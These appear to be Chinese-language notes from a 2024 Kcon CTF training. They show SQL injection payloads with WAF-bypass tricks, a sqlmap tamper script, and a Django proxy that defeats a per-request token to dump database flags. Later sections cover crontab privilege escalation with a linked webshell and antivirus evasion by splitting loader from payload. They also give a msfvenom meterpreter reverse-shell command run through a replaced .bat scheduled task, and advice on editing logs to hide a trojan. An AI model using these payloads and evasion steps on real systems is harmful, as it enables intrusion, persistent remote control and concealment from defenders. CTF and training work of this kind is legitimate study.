2024Kcon培训
SQL注入实战技巧(注入过程中所发现的边缘信息的充分利用)

http://45.180.243.36/?id=%221%22or%22=`uniunionon`%22
http://45.180.243.36/?id=%221%22or%22=%27uniunionon%0Aseseselectlectlect%0A1%27%22
- slmap无法直接爆,有WAF
- 过滤空格 %0A 绕过
- 过滤union 双写可绕过
- 过滤select,三写绕过
45.180.243.220/?id=1or''=''
45.180.243.220/?id="1"or''='uniunionon /**/'
http://45.180.243.220/?id=%221%22or%27%27=%27uniunionon%0A%27
http://45.180.243.220/?id=%221%22or%27%27=%27uniunionon%0Aseseselectlectlect%27
http://45.180.243.220/?id=1%0Auniunionon%0Aseseselectlectlect%0A1,2,3
http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,3
45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,scheman_name%0Afrom%0Ainformation_schema.schemata%0Alimit%0A1,1
http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,group_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=”db_6XFkMpnM”
http://45.180.243.220/?id=555555%0Auniunionon%0Aseseselectlectlect%0A1,2,group_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema%0A=%0A%22db_6XFkMpnM%22实战案例(sqlmap的使用技巧)

配置绕过规则复制tamper中的模板cp .\space2plus.py 2024kcom.py修改为如下内容。
#!/usr/bin/env python
"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces space character (' ') with plus ('+')
Notes:
* Is this any useful? The plus get's url-encoded by sqlmap engine invalidating the query afterwards
* This tamper script works against all databases
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
"""
payload = payload.replace("SELECT","select")
payload = payload.replace("UNION","union")
payload = payload.replace("union","ununionion")
payload = payload.replace("select","selselselectectect")
payload = payload.replace(" ","%0A") #对应之前的绕过检查
return payload带参数绕过
sqlmap -u "http://45.180.243.31/sql.php?id=1" --tamper=2024kcom.py --dbs -D db_YOARED3v -T db_flag --dump



flag-{xxaq429524e6-ffd6-4c9c-8723-470f8e417424}
同理也可以爆第一个靶场的flag
flag-{xxaq61c44a35-6dce-4406-90b7-7c1cc1b5c5ae}

sql1.php 随机值绕过

前后两次数值不一样
用django创建一个服务,获取动态值,返回即可。
启动一个django服务
django-admin.exe startproject testsql

创建一个 Kcon.py 文件内容如下。
from django.http import HttpResponse
import requests
def testsql(request):
with requests.Session() as session:
req = session.get("http://45.180.243.152/sql1.php")
req_list = req.text.split("<strong>")
req_list = req_list[1].split("</strong>")
print(req.text)
randome_value = req_list[0].strip()
data ={
"id":request.GET["id"],
"random_value":randome_value
}
print(data)
req = session.post("http://45.180.243.152/sql1.php",data = data)
print(request.GET['id'])
return HttpResponse(req)修改 url.py 文件,引入修改后的文件。
from django.contrib import admin
from django.urls import path
from . import view
urlpatterns = [
path('admin/', admin.site.urls),
path('testsql/',view.testsql),
path("testsql2/",view.testsql2),
]启动django,打开django启动的页面会话,sqlmap爆
python manage.py runserver
python sqlmap.py -u "http://127.0.0.1:8000/testsql/?id=1" --dbs
python sqlmap.py -u "http://127.0.0.1:8000/testsql/?id=1" -D db_5l6KrvIg -T db_flag -C flag --dump
无回显

抓包后sqlmap爆
原理sqlmap不能识别直接执行sql语句的id,但是浏览器抓包后的请求头可以识别。
python.exe .\sqlmap.py -r D:\JingJing\Documents\CTF文件\CTF刷题\2024Kcon\norespon.txt -D db_t4P1AxlC -T
db_flag -C flag --dump
有多余的执行步骤
view.py 中写入
def testsql2(request):
data = {
"random_value" : request.GET['id'],
}
req = requests.post("http://45.180.243.152/sql3.php",data=data)
req = requests.get("http://45.180.243.152/sql3.php?id=run")
return HttpResponse(req)url.py 末尾加上
path("testsql2/",view.testsql2),浏览器访问 http://127.0.0.1:8000/testsql2/?id=select+1用sqlmap爆
python sqlmap.py -u "http://127.0.0.1:8000/testsql2/?id=select+1"
python sqlmap.py -u "http://127.0.0.1:8000/testsql2/?id=select+1" -D db_fcfUEiY7 -T db_flag -C flag --dump
django后台的数据

实战案例(利用crontab完成特定化场景的提权)

过滤了多种函数,一句话木马不能用,网络存储挂载了crotab文件,并且权限不收敛,挂载使用的是目录,但是可以nfs漏洞可以让其访问所有认证。


修改成大马的内容,https://raw.githubusercontent.com/su18/Stitch/master/stitch.php

近后台找到backup有ctrontab文件,改了就行





crontab新建的文件


flag-{xxaqa7dac329-7a7d-44d1-9a5a-5ec4cff7efca}
实战案例(windows操作系统下多种软件的免杀编写)
msfvenom生成木马,特征明显,容易被杀
—list encodes 查看编码方式
绕过工具
- shelter
- backdoor-factory 编码 白加黑
socket执行python代码,服务器远控。加载器与恶意代码分离。
原本绕不过defender,但是安装了卡巴斯基后可以绕过。卡巴斯基关闭的defender,但是他自己防护能力不强。
实战案例(流量侧网络限制时的攻击绕过)
绕过流量监测。

能链接mssql,能用sql语句生成木马,但是外部不能链接。
实战案例(windows系统仅有写权限时的getshell思路)
ftp去提权



跳到计划任务相关文件夹,抓特定文件到本地读,分析,然后写到服务器。


Kali 生成木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=2.2.1.4 LPORT=5252 -f exe -o test.exe修改test.bat文件为
echo "test" >> test.txt
cd C:\Users\Administrator\Desktop\
test.exe删除原有bat文件,put上去新bat文件和木马 test.exe 文件

Kali中用msfconsle起5252端口

APT案例(新闻行业APT组织攻击与木马分析溯源)
lsof -p 5386

检查端口文件,如果木马被删了可以从proc里面找。对应PID号文件夹里的exe就是打开的木马文件,在进程里的,除非重启。
echo改掉日志文件才能完全隐藏木马痕迹。
升级方向
- 流量加密
- sh和socket分离
- 客户端改成被动式激活,减少流量